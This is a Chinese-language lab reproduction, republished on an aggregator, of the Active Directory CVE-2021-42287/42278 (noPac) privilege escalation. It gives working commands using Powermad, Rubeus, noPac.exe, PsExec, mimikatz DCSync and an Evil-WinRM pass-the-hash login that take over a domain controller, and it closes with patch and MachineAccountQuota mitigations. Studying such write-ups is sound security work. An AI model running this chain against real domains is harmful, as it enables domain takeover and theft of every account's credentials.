5

CVE-2021-42287/CVE-2021-42278分析复现

 2 years ago
source link: https://antipassion.github.io/2022/03/01/CVE-2021-42287-CVE-2021-42278%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

距离漏洞披露已经过了许久,现在终于有些空余时间用于学习复现这两个漏洞。

  • CVE-2021-42278,机器账户的名称一般用$结尾,但AD并未对域内机器账户名进行验证。
  • CVE-2021-42287, 结合上述42278漏洞,创建一个与DC机器账户名称相同的机器账户(不以$结尾),使用该账户请求一个TGT后,修改账户名,然后通过S4U2Self申请TGS Ticket,然后DC进行在TGS_REP阶段加密TGS Ticket时,无法找到该账户利用机器账户hash加密,DC便使用自己的hash加密TGS Ticket,提供一个属于该账户的PAC,我们便可得到一个高权限的ST。

攻击流程:

  1. 首先创建一个机器账户
  2. 清除机器账户的servicePrincipalName属性
  3. 将机器账户的sAMAccountName修改为DC的机器账户名,但不带$
  4. 使用机器账户的身份请求TGT
  5. 将机器账户的sAMAccountName修改为其他值,不能与DC的机器账户名重复。
  6. 通过S4U2Self向KDC申请ST
  7. 拿到高权限ST票据,完成利用。

利用原理:如果域内存在一台域控名为DC(机器账户为DC$)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的sAMAccountName修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC$用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。

复现过程:

1.创建机器账户

拿到域成员权限后,利用Powermad.ps1创建机器用户

Import-Module Poweremad.ps1
New-MachineAccount -MachineAccount Nayon

验证是否添加成功

net group "domain computers" /domain

image-20220302184058328

2.擦除SPN记录信息

注册机器账户后,会自动在Nayon$的名下注册SPN服务,此时我们需要擦除,免于影响我们接下来的操作。

Get-DomainObject "CN=Nayon,CN=Computers,DC=attack",DC="local" #查看Nayon$用户下的信息
Set-DomainObject "CN=Nayon,CN=Computers,DC=attack,DC=local" -Clear 'serviceprincipalname' -Verbose #擦除SPN服务

image-20220302224406626

image-20220302224910302

此时已将记录清除。

3.修改samaccountname伪造机器账户名
Set-MachineAccountAttribute -MachineAccount 机器账户名 -Value "要伪造的机器账户名(无$)" -Attribute
samaccountname -Verbose
net group "domain computers" /domain

image-20220302225727545

此时可以看到,我们的Nayon$用户,在修改了samaccountname值后,用户名已改为DC

4.申请TGT票据

由于知道机器账户的明文密码,我们可以直接使用Rubeus申请TGT票据

Rubeus.exe asktgt /user:DC /password:******* /domain:attack.local /dc:attack.local /nowrap

注: nowrap 选项,票据不换行,便于我们导出为文件

image-20220302231105438

5.再次修改samaccountname

将拿到的票据保存,并继续修改Nayon$用户的samaccountname,使其不为DC

Set-MachineAccountAttribute -MachineAccount Nayon -Value "Nayon" -Attribute

image-20220302231452272

6.借用DC用户的TGT去DC$的ST票据

利用Rubeus实现

Rubeus.exe s4u /self /impersonateuser:"Administrator"
/altservice:"cifs/dc.attack.local" /dc:"dc.attack.local" /ptt
/ticket:xxxxxxxxxxxxxxxxxxxxxxxx

image-20220302233836680

此时已拥有访问dc的共享目录权限。

dir \\dc\c$

image-20220302234949690

自动化实现

使用noPac项目实现:

https://github.com/cube0x0/noPac

项目下载地址,需本地自行编译。

./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local
/mAccount test /mPassword test0123 /service cifs /ptt

image-20220303123150880

Psexec方式直接Getshell

若要通过此方式获得shell,在前一步仅获得cifs服务的权限还不够,我们还需要申请拿到host服务的权限

PsExec64.exe \\dc.attack.local cmd

image-20220303123319064

Dcsync拖取域内所有hash

想要拖取域内hash,我们可以利用漏洞申请ldap服务的ST票据,PTT加载后,通过mimikatz申请

./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local /mAccount test /mPassword test0123 /service ldap /ptt

image-20220303124511355

拿到hash后利用Evil-Winrm登陆域控getshell,当然,此处也可使用impacket套件。

evil-winrm -i 10.10.10.165 -u Administrator -H "dbf36575210cc5a38ab4050cc6a2e9aa" 

image-20220303125032356

关于漏洞修复

  • 安装微软官方的:KB5008602、KB5008380补丁。
  • 通过ADSI编辑器将AD域的MAQ配置为0,中断漏洞的利用链。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK